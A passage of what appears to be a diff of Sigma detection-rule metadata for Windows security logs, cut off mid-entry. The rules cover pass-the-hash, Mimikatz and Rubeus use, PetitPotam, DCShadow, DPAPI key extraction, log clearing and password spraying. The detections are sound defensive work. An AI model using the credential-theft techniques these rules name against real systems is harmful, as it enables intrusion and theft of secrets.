- "author": "Pushkarev Dmitry", - "creation_date": "2020/06/27", - "falsepositive": [ - "Valid user was not added to RDP group" - ], - "filename": "win_security_not_allowed_rdp_access.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=4825", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_not_allowed_rdp_access.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1021.001" - ] - }, - "uuid": "8e5c03fa-b7f0-11ea-b242-07e0576828d9", - "value": "Denied Access To Remote Desktop" - }, - { - "description": "Detects successful logon with logon type 9 (NewCredentials) which matches the Overpass the Hash behavior of e.g Mimikatz's sekurlsa::pth module.", - "meta": { - "author": "Roberto Rodriguez (source), Dominik Schaudel (rule)", - "creation_date": "2018/02/12", - "falsepositive": [ - "Runas command-line tool using /netonly parameter" - ], - "filename": "win_security_overpass_the_hash.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://cyberwardog.blogspot.de/2017/04/chronicles-of-threat-hunter-hunting-for.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_overpass_the_hash.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.s0002", - "attack.t1550.002" - ] - }, - "uuid": "192a0330-c20b-4356-90b6-7b7049ae0b87", - "value": "Successful Overpass the Hash Attempt" - }, - { - "description": "Detects the attack technique pass the hash which is used to move laterally inside the network", - "meta": { - "author": "Dave Kennedy, Jeff Warren (method) / David Vassallo (rule)", - "creation_date": "2019/06/14", - "falsepositive": [ - "Administrator activity" - ], - "filename": "win_security_pass_the_hash_2.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://blog.binarydefense.com/reliably-detecting-pass-the-hash-through-event-log-analysis", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_pass_the_hash_2.yml", - "https://blog.stealthbits.com/how-to-detect-pass-the-hash-attacks/", - "https://github.com/iadgov/Event-Forwarding-Guidance/tree/master/Events" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1550.002" - ] - }, - "uuid": "8eef149c-bd26-49f2-9e5a-9b00e3af499b", - "value": "Pass the Hash Activity 2" - }, - { - "description": "Detect PetitPotam coerced authentication activity.", - "meta": { - "author": "Mauricio Velazco, Michael Haag", - "creation_date": "2021/09/02", - "falsepositive": [ - "Unknown. Feedback welcomed." - ], - "filename": "win_security_petitpotam_network_share.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/topotam/PetitPotam", - "https://github.com/splunk/security_content/blob/0dd6de32de2118b2818550df9e65255f4109a56d/detections/endpoint/petitpotam_network_share_access_request.yml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_petitpotam_network_share.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1187" - ] - }, - "uuid": "1ce8c8a3-2723-48ed-8246-906ac91061a6", - "value": "Possible PetitPotam Coerce Authentication Attempt" - }, - { - "description": "Detect suspicious Kerberos TGT requests.\nOnce an attacer obtains a computer certificate by abusing Active Directory Certificate Services in combination with PetitPotam, the next step would be to leverage the certificate for malicious purposes.\nOne way of doing this is to request a Kerberos Ticket Granting Ticket using a tool like Rubeus.\nThis request will generate a 4768 event with some unusual fields depending on the environment.\nThis analytic will require tuning, we recommend filtering Account_Name to the Domain Controller computer accounts.\n", - "meta": { - "author": "Mauricio Velazco, Michael Haag", - "creation_date": "2021/09/02", - "falsepositive": [ - "False positives are possible if the environment is using certificates for authentication. We recommend filtering Account_Name to the Domain Controller computer accounts." - ], - "filename": "win_security_petitpotam_susp_tgt_request.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/splunk/security_content/blob/develop/detections/endpoint/petitpotam_suspicious_kerberos_tgt_request.yml", - "https://github.com/topotam/PetitPotam", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_petitpotam_susp_tgt_request.yml", - "https://isc.sans.edu/forums/diary/Active+Directory+Certificate+Services+ADCS+PKI+domain+admin+vulnerability/27668/" - ], - "tags": [ - "attack.credential_access", - "attack.t1187" - ] - }, - "uuid": "6a53d871-682d-40b6-83e0-b7c1a6c4e3a5", - "value": "PetitPotam Suspicious Kerberos TGT Request" - }, - { - "description": "Detects DCShadow via create new SPN", - "meta": { - "author": "Ilyas Ochkov, oscd.community, Chakib Gzenayi (@Chak092), Hosni Mribah", - "creation_date": "2019/10/25", - "falsepositive": [ - "Valid on domain controllers; exclude known DCs" - ], - "filename": "win_security_possible_dc_shadow.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/Neo23x0/sigma/blob/ec5bb710499caae6667c7f7311ca9e92c03b9039/rules/windows/builtin/win_dcsync.yml", - "https://gist.github.com/gentilkiwi/dcc132457408cf11ad2061340dcb53c2", - "https://blog.alsid.eu/dcshadow-explained-4510f52fc19d", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_possible_dc_shadow.yml", - "https://twitter.com/gentilkiwi/status/1003236624925413376" - ], - "tags": [ - "attack.credential_access", - "attack.t1207" - ] - }, - "uuid": "32e19d25-4aed-4860-a55a-be99cb0bf7ed", - "value": "Possible DC Shadow Attack" - }, - { - "description": "Detects powershell script installed as a Service", - "meta": { - "author": "oscd.community, Natalia Shornikova", - "creation_date": "2020/10/06", - "falsepositive": [ - "Unknown" - ], - "filename": "win_security_powershell_script_installed_as_service.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_powershell_script_installed_as_service.yml", - "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse" - ], - "tags": [ - "attack.execution", - "attack.t1569.002" - ] - }, - "uuid": "2a926e6a-4b81-4011-8a96-e36cc8c04302", - "value": "PowerShell Scripts Installed as Services" - }, - { - "description": "Detects access to a protected_storage service over the network. Potential abuse of DPAPI to extract domain backup keys from Domain Controllers", - "meta": { - "author": "Roberto Rodriguez @Cyb3rWard0g", - "creation_date": "2019/08/10", - "falsepositive": [ - "Unknown" - ], - "filename": "win_security_protected_storage_service_access.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_protected_storage_service_access.yml", - "https://threathunterplaybook.com/notebooks/windows/06_credential_access/WIN-190620024610.html" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1021.002" - ] - }, - "uuid": "45545954-4016-43c6-855e-eae8f1c369dc", - "value": "Protected Storage Service Access" - }, - { - "description": "Detects rare scheduled tasks creations that only appear a few times per time frame and could reveal password dumpers, backdoor installs or other types of malicious code", - "meta": { - "author": "Florian Roth", - "creation_date": "2017/03/23", - "falsepositive": [ - "Software installation", - "Software updates" - ], - "filename": "win_security_rare_schtasks_creations.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_rare_schtasks_creations.yml" - ], - "tags": [ - "attack.execution", - "attack.privilege_escalation", - "attack.persistence", - "car.2013-08-001", - "attack.t1053.005" - ] - }, - "uuid": "b0d77106-7bb0-41fe-bd94-d1752164d066", - "value": "Rare Schtasks Creations" - }, - { - "description": "Detects the use of a scanner by zerosum0x0 that discovers targets vulnerable to CVE-2019-0708 RDP RCE aka BlueKeep", - "meta": { - "author": "Florian Roth (rule), Adam Bradbury (idea)", - "creation_date": "2019/06/02", - "falsepositive": [ - "Unlikely" - ], - "filename": "win_security_rdp_bluekeep_poc_scanner.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/AdamTheAnalyst/status/1134394070045003776", - "https://github.com/zerosum0x0/CVE-2019-0708", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_rdp_bluekeep_poc_scanner.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1210", - "car.2013-07-002" - ] - }, - "uuid": "8400629e-79a9-4737-b387-5db940ab2367", - "value": "Scanner PoC for CVE-2019-0708 RDP RCE Vuln" - }, - { - "description": "RDP login with localhost source address may be a tunnelled login", - "meta": { - "author": "Thomas Patzke", - "creation_date": "2019/01/28", - "falsepositive": [ - "Unknown" - ], - "filename": "win_security_rdp_localhost_login.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://www.fireeye.com/blog/threat-research/2019/01/bypassing-network-restrictions-through-rdp-tunneling.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_rdp_localhost_login.yml" - ], - "tags": [ - "attack.lateral_movement", - "car.2013-07-002", - "attack.t1021.001" - ] - }, - "uuid": "51e33403-2a37-4d66-a574-1fda1782cc31", - "value": "RDP Login from Localhost" - }, - { - "description": "Detects svchost hosting RDP termsvcs communicating with the loopback address", - "meta": { - "author": "Samir Bousseaden", - "creation_date": "2019/02/16", - "falsepositive": [ - "Programs that connect locally to the RDP port" - ], - "filename": "win_security_rdp_reverse_tunnel.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/sbousseaden/EVTX-ATTACK-SAMPLES/blob/44fbe85f72ee91582876b49678f9a26292a155fb/Command%20and%20Control/DE_RDP_Tunnel_5156.evtx", - "https://twitter.com/SBousseaden/status/1096148422984384514", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_rdp_reverse_tunnel.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.command_and_control", - "attack.lateral_movement", - "attack.t1090.001", - "attack.t1090.002", - "attack.t1021.001", - "car.2013-07-002" - ] - }, - "uuid": "5bed80b6-b3e8-428e-a3ae-d3c757589e41", - "value": "RDP over Reverse SSH Tunnel WFP" - }, - { - "description": "Detects potential use of Rubeus via registered new trusted logon process", - "meta": { - "author": "Roberto Rodriguez (source), Ilyas Ochkov (rule), oscd.community", - "creation_date": "2019/10/24", - "falsepositive": [ - "Unknown" - ], - "filename": "win_security_register_new_logon_process_by_rubeus.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_register_new_logon_process_by_rubeus.yml", - "https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1" - ], - "tags": [ - "attack.lateral_movement", - "attack.privilege_escalation", - "attack.t1558.003" - ] - }, - "uuid": "12e6d621-194f-4f59-90cc-1959e21e69f7", - "value": "Register new Logon Process by Rubeus" - }, - { - "description": "Detects basic PowerShell Remoting (WinRM) by monitoring for network inbound connections to ports 5985 OR 5986", - "meta": { - "author": "Roberto Rodriguez @Cyb3rWard0g", - "creation_date": "2019/09/12", - "falsepositive": [ - "Legitimate use of remote PowerShell execution" - ], - "filename": "win_security_remote_powershell_session.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190511223310.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_remote_powershell_session.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "13acf386-b8c6-4fe0-9a6e-c4756b974698", - "value": "Remote PowerShell Sessions Network Connections (WinRM)" - }, - { - "description": "Detects possible Kerberos Replay Attack on the domain controllers when \"KRB_AP_ERR_REPEAT\" Kerberos response is sent to the client", - "meta": { - "author": "frack113", - "creation_date": "2022/10/14", - "falsepositive": [ - "Unknown" - ], - "filename": "win_security_replay_attack_detected.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/Yamato-Security/EnableWindowsLogSettings/blob/7f6d755d45ac7cc9fc35b0cbf498e6aa4ef19def/ConfiguringSecurityLogAuditPolicies.md", - "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4649", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_replay_attack_detected.yml" - ], - "tags": "No established tags" - }, - "uuid": "5a44727c-3b85-4713-8c44-4401d5499629", - "value": "Replay Attack Detected" - }, - { - "description": "Detects the renaming of an existing computer account to a account name that doesn't contain a $ symbol as seen in attacks against CVE-2021-42287", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/12/22", - "falsepositive": [ - "Unknown" - ], - "filename": "win_security_samaccountname_spoofing_cve_2021_42287.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://medium.com/@mvelazco/hunting-for-samaccountname-spoofing-cve-2021-42287-and-domain-controller-impersonation-f704513c8a45", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_samaccountname_spoofing_cve_2021_42287.yml" - ], - "tags": "No established tags" - }, - "uuid": "45eb2ae2-9aa2-4c3a-99a5-6e5077655466", - "value": "Suspicious Computer Account Name Change CVE-2021-42287" - }, - { - "description": "Detects handles requested to SAM registry hive", - "meta": { - "author": "Roberto Rodriguez @Cyb3rWard0g", - "creation_date": "2019/08/12", - "falsepositive": [ - "Unknown" - ], - "filename": "win_security_sam_registry_hive_handle_request.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_sam_registry_hive_handle_request.yml", - "https://threathunterplaybook.com/notebooks/windows/07_discovery/WIN-190725024610.html" - ], - "tags": [ - "attack.discovery", - "attack.t1012", - "attack.credential_access", - "attack.t1552.002" - ] - }, - "uuid": "f8748f2c-89dc-4d95-afb0-5a2dfdbad332", - "value": "SAM Registry Hive Handle Request" - }, - { - "description": "Detects scheduled task deletion events. Scheduled tasks are likely to be deleted if not used for persistence. Malicious Software often creates tasks directly under the root node e.g. \\TASKNAME", - "meta": { - "author": "David Strassegger, Tim Shelton", - "creation_date": "2021/01/22", - "falsepositive": [ - "Software installation" - ], - "filename": "win_security_scheduled_task_deletion.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/matthewdunwoody/status/1352356685982146562", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_scheduled_task_deletion.yml", - "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4699" - ], - "tags": [ - "attack.execution", - "attack.privilege_escalation", - "car.2013-08-001", - "attack.t1053.005" - ] - }, - "uuid": "4f86b304-3e02-40e3-aa5d-e88a167c9617", - "value": "Scheduled Task Deletion" - }, - { - "description": "Detects non-system users failing to get a handle of the SCM database.", - "meta": { - "author": "Roberto Rodriguez @Cyb3rWard0g", - "creation_date": "2019/08/12", - "falsepositive": [ - "Unknown" - ], - "filename": "win_security_scm_database_handle_failure.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://threathunterplaybook.com/notebooks/windows/07_discovery/WIN-190826010110.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_scm_database_handle_failure.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1010" - ] - }, - "uuid": "13addce7-47b2-4ca0-a98f-1de964d1d669", - "value": "SCM Database Handle Failure" - }, - { - "description": "Detects non-system users performing privileged operation os the SCM database", - "meta": { - "author": "Roberto Rodriguez @Cyb3rWard0g, Tim Shelton", - "creation_date": "2019/08/15", - "falsepositive": [ - "Unknown" - ], - "filename": "win_security_scm_database_privileged_operation.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://threathunterplaybook.com/notebooks/windows/07_discovery/WIN-190826010110.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_scm_database_privileged_operation.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1548" - ] - }, - "uuid": "dae8171c-5ec6-4396-b210-8466585b53e9", - "value": "SCM Database Privileged Operation" - }, - { - "description": "Detect potential adversaries leveraging WMI ActiveScriptEventConsumers remotely to move laterally in a network", - "meta": { - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "creation_date": "2020/09/02", - "falsepositive": [ - "SCCM" - ], - "filename": "win_security_scrcons_remote_wmi_scripteventconsumer.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_scrcons_remote_wmi_scripteventconsumer.yml", - "https://threathunterplaybook.com/notebooks/windows/08_lateral_movement/WIN-200902020333.html" - ], - "tags": [ - "attack.lateral_movement", - "attack.privilege_escalation", - "attack.persistence", - "attack.t1546.003" - ] - }, - "uuid": "9599c180-e3a8-4743-8f92-7fb96d3be648", - "value": "Remote WMI ActiveScriptEventConsumers" - }, - { - "description": "Detects a service installed by a client which has PID 0 or whose parent has PID 0", - "meta": { - "author": "Tim Rauch", - "creation_date": "2022/09/15", - "falsepositive": [ - "Unknown" - ], - "filename": "win_security_service_installation_by_unusal_client.yml", - "level": "high", - "logsource.category": "security", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/SBousseaden/status/1490608838701166596", - "https://www.elastic.co/guide/en/security/current/windows-service-installed-via-an-unusual-client.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_service_installation_by_unusal_client.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1543" - ] - }, - "uuid": "c4e92a97-a9ff-4392-9d2d-7a4c642768ca", - "value": "Service Installed By Unusual Client - Security" - }, - { - "description": "Look for non-system accounts SMB accessing a file with write (0x2) access mask via administrative share (i.e C$).", - "meta": { - "author": "Jose Rodriguez (@Cyb3rPandaH), OTR (Open Threat Research)", - "creation_date": "2020/08/06", - "falsepositive": [ - "Unknown" - ], - "filename": "win_security_smb_file_creation_admin_shares.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/OTRF/ThreatHunter-Playbook/blob/f7a58156dbfc9b019f17f638b8c62d22e557d350/playbooks/WIN-201012004336.yaml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_smb_file_creation_admin_shares.yml", - "https://securitydatasets.com/notebooks/small/windows/08_lateral_movement/SDWIN-200806015757.html?highlight=create%20file" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1021.002" - ] - }, - "uuid": "b210394c-ba12-4f89-9117-44a2464b9511", - "value": "SMB Create Remote File Admin Share" - }, - { - "description": "Addition of domains is seldom and should be verified for legitimacy.", - "meta": { - "author": "Thomas Patzke", - "creation_date": "2019/12/03", - "falsepositive": [ - "Legitimate extension of domain structure" - ], - "filename": "win_security_susp_add_domain_trust.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_add_domain_trust.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1098" - ] - }, - "uuid": "0255a820-e564-4e40-af2b-6ac61160335c", - "value": "Addition of Domain Trusts" - }, - { - "description": "An attacker can use the SID history attribute to gain additional privileges.", - "meta": { - "author": "Thomas Patzke, @atc_project (improvements)", - "creation_date": "2017/02/19", - "falsepositive": [ - "Migration of an account into a new domain" - ], - "filename": "win_security_susp_add_sid_history.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_add_sid_history.yml", - "https://adsecurity.org/?p=1772" - ], - "tags": [ - "attack.persistence", - "attack.privilege_escalation", - "attack.t1134.005" - ] - }, - "uuid": "2632954e-db1c-49cb-9936-67d1ef1d17d2", - "value": "Addition of SID History to Active Directory Object" - }, - { - "description": "Code integrity failures may indicate tampered executables.", - "meta": { - "author": "Thomas Patzke", - "creation_date": "2019/12/03", - "falsepositive": [ - "Disk device errors" - ], - "filename": "win_security_susp_codeintegrity_check_failure.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_codeintegrity_check_failure.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027.001" - ] - }, - "uuid": "470ec5fa-7b4e-4071-b200-4c753100f49b", - "value": "Failed Code Integrity Checks" - }, - { - "description": "Detects suspicious computer name samtheadmin-{1..100}$ generated by hacktool", - "meta": { - "author": "elhoim", - "creation_date": "2022/09/09", - "falsepositive": [ - "Unknown" - ], - "filename": "win_security_susp_computer_name.yml", - "level": "critical", - "logsource.category": "security", - "logsource.product": "windows", - "refs": [ - "https://github.com/WazeHell/sam-theadmin/blob/main/sam_the_admin.py", - "https://twitter.com/malmoeb/status/1511760068743766026", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_computer_name.yml", - "https://github.com/helloexp/0day/blob/614227a7b9beb0e91e7e2c6a5e532e6f7a8e883c/00-CVE_EXP/CVE-2021-42287/sam-the-admin/sam_the_admin.py" - ], - "tags": [ - "cve.2021.42278", - "cve.2021.42287", - "attack.persistence", - "attack.privilege_escalation", - "attack.t1078" - ] - }, - "uuid": "39698b3f-da92-4bc6-bfb5-645a98386e45", - "value": "Win Susp Computer Name Containing Samtheadmin" - }, - { - "description": "The Directory Service Restore Mode (DSRM) account is a local administrator account on Domain Controllers. Attackers may change the password to gain persistence.", - "meta": { - "author": "Thomas Patzke", - "creation_date": "2017/02/19", - "falsepositive": [ - "Initial installation of a domain controller" - ], - "filename": "win_security_susp_dsrm_password_change.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_dsrm_password_change.yml", - "https://adsecurity.org/?p=1714" - ], - "tags": [ - "attack.persistence", - "attack.t1098" - ] - }, - "uuid": "53ad8e36-f573-46bf-97e4-15ba5bf4bb51", - "value": "Password Change on Directory Service Restore Mode (DSRM) Account" - }, - { - "description": "One of the Windows Eventlogs has been cleared. e.g. caused by \"wevtutil cl\" command execution", - "meta": { - "author": "Florian Roth", - "creation_date": "2017/01/10", - "falsepositive": [ - "Rollout of log collection agents (the setup routine often includes a reset of the local Eventlog)", - "System provisioning (system reset before the golden image creation)" - ], - "filename": "win_security_susp_eventlog_cleared.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_eventlog_cleared.yml", - "https://www.hybrid-analysis.com/sample/027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745?environmentId=100", - "https://twitter.com/deviouspolack/status/832535435960209408" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070.001", - "car.2016-04-002" - ] - }, - "uuid": "d99b79d2-0a6f-4f46-ad8b-260b6e17f982", - "value": "Security Eventlog Cleared" - }, - { - "description": "Detects a source user failing to authenticate with multiple users using explicit credentials on a host.", - "meta": { - "author": "Mauricio Velazco", - "creation_date": "2021/06/01", - "falsepositive": [ - "Terminal servers", - "Jump servers", - "Other multiuser systems like Citrix server farms", - "Workstations with frequently changing users" - ], - "filename": "win_security_susp_failed_logons_explicit_credentials.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://docs.splunk.com/Documentation/ESSOC/3.22.0/stories/UseCase#Active_directory_password_spraying", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_logons_explicit_credentials.yml" - ], - "tags": [ - "attack.t1110.003", - "attack.initial_access", - "attack.privilege_escalation" - ] - }, - "uuid": "196a29c2-e378-48d8-ba07-8a9e61f7fab9", - "value": "Multiple Users Attempting To Authenticate Using Explicit Credentials" - }, - { - "description": "Detects failed logins with multiple accounts from a single process on the system.", - "meta": { - "author": "Mauricio Velazco", - "creation_date": "2021/06/01", - "falsepositive": [ - "Terminal servers", - "Jump servers", - "Other multiuser systems like Citrix server farms", - "Workstations with frequently changing users" - ], - "filename": "win_security_susp_failed_logons_single_process.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://www.trimarcsecurity.com/single-post/2018/05/06/trimarc-research-detecting-password-spraying-with-security-event-auditing", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_logons_single_process.yml", - "https://docs.splunk.com/Documentation/ESSOC/3.22.0/stories/UseCase#Active_directory_password_spraying" - ], - "tags": [ - "attack.t1110.003", - "attack.initial_access", - "attack.privilege_escalation" - ] - }, - "uuid": "fe563ab6-ded4-4916-b49f-a3a8445fe280", - "value": "Multiple Users Failing to Authenticate from Single Process" - }, - { - "description": "Detects suspicious failed logins with different user accounts from a single source system", - "meta": { - "author": "Florian Roth", - "creation_date": "2017/01/10", - "falsepositive": [ - "Terminal servers", - "Jump servers", - "Other multiuser systems like Citrix server farms", - "Workstations with frequently changing users" - ], - "filename": "win_security_susp_failed_logons_single_source.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_logons_single_source.yml" - ], - "tags": [ - "attack.persistence", - "attack.privilege_escalation", - "attack.t1078" - ] - }, - "uuid": "e98374a6-e2d9-4076-9b5c-11bdb2569995", - "value": "Failed Logins with Different Accounts from Single Source System" - }, - { - "description": "Detects suspicious failed logins with different user accounts from a single source system", - "meta": { - "author": "Florian Roth", - "creation_date": "2017/01/10", - "falsepositive": [ - "Terminal servers", - "Jump servers", - "Other multiuser systems like Citrix server farms", - "Workstations with frequently changing users" - ], - "filename": "win_security_susp_failed_logons_single_source2.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_logons_single_source2.yml" - ], - "tags": [ - "attack.persistence", - "attack.privilege_escalation", - "attack.t1078" - ] - }, - "uuid": "6309ffc4-8fa2-47cf-96b8-a2f72e58e538", - "value": "Failed Logins with Different Accounts from Single Source System" - }, - { - "description": "Detects multiple failed logins with multiple valid domain accounts from a single source system using the Kerberos protocol.", - "meta": { - "author": "Mauricio Velazco, frack113", - "creation_date": "2021/06/01", - "falsepositive": [ - "Vulnerability scanners", - "Misconfigured systems", - "Remote administration tools", - "VPN terminators", - "Multiuser systems like Citrix server farms" - ], - "filename": "win_security_susp_failed_logons_single_source_kerberos.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://docs.splunk.com/Documentation/ESSOC/3.22.0/stories/UseCase#Active_directory_password_spraying", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_logons_single_source_kerberos.yml" - ], - "tags": [ - "attack.t1110.003", - "attack.initial_access", - "attack.privilege_escalation" - ] - }, - "uuid": "5d1d946e-32e6-4d9a-a0dc-0ac022c7eb98", - "value": "Valid Users Failing to Authenticate From Single Source Using Kerberos" - }, - { - "description": "Detects failed logins with multiple disabled domain accounts from a single source system using the Kerberos protocol.", - "meta": { - "author": "Mauricio Velazco, frack113", - "creation_date": "2021/06/01", - "falsepositive": [ - "Vulnerability scanners", - "Misconfigured systems", - "Remote administration tools", - "VPN terminators", - "Multiuser systems like Citrix server farms" - ], - "filename": "win_security_susp_failed_logons_single_source_kerberos2.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://docs.splunk.com/Documentation/ESSOC/3.22.0/stories/UseCase#Active_directory_password_spraying", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_logons_single_source_kerberos2.yml" - ], - "tags": [ - "attack.t1110.003", - "attack.initial_access", - "attack.privilege_escalation" - ] - }, - "uuid": "4b6fe998-b69c-46d8-901b-13677c9fb663", - "value": "Disabled Users Failing To Authenticate From Source Using Kerberos" - }, - { - "description": "Detects failed logins with multiple invalid domain accounts from a single source system using the Kerberos protocol.", - "meta": { - "author": "Mauricio Velazco, frack113", - "creation_date": "2021/06/01", - "falsepositive": [ - "Vulnerability scanners", - "Misconfigured systems", - "Remote administration tools", - "VPN terminators", - "Multiuser systems like Citrix server farms" - ], - "filename": "win_security_susp_failed_logons_single_source_kerberos3.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://docs.splunk.com/Documentation/ESSOC/3.22.0/stories/UseCase#Active_directory_password_spraying", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_logons_single_source_kerberos3.yml" - ], - "tags": [ - "attack.t1110.003", - "attack.initial_access", - "attack.privilege_escalation" - ] - }, - "uuid": "bc93dfe6-8242-411e-a2dd-d16fa0cc8564", - "value": "Invalid Users Failing To Authenticate From Source Using Kerberos" - }, - { - "description": "Detects failed logins with multiple valid domain accounts from a single source system using the NTLM protocol.", - "meta": { - "author": "Mauricio Velazco", - "creation_date": "2021/06/01", - "falsepositive": [ - "Terminal servers", - "Jump servers", - "Other multiuser systems like Citrix server farms", - "Workstations with frequently changing users" - ], - "filename": "win_security_susp_failed_logons_single_source_ntlm.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_logons_single_source_ntlm.yml", - 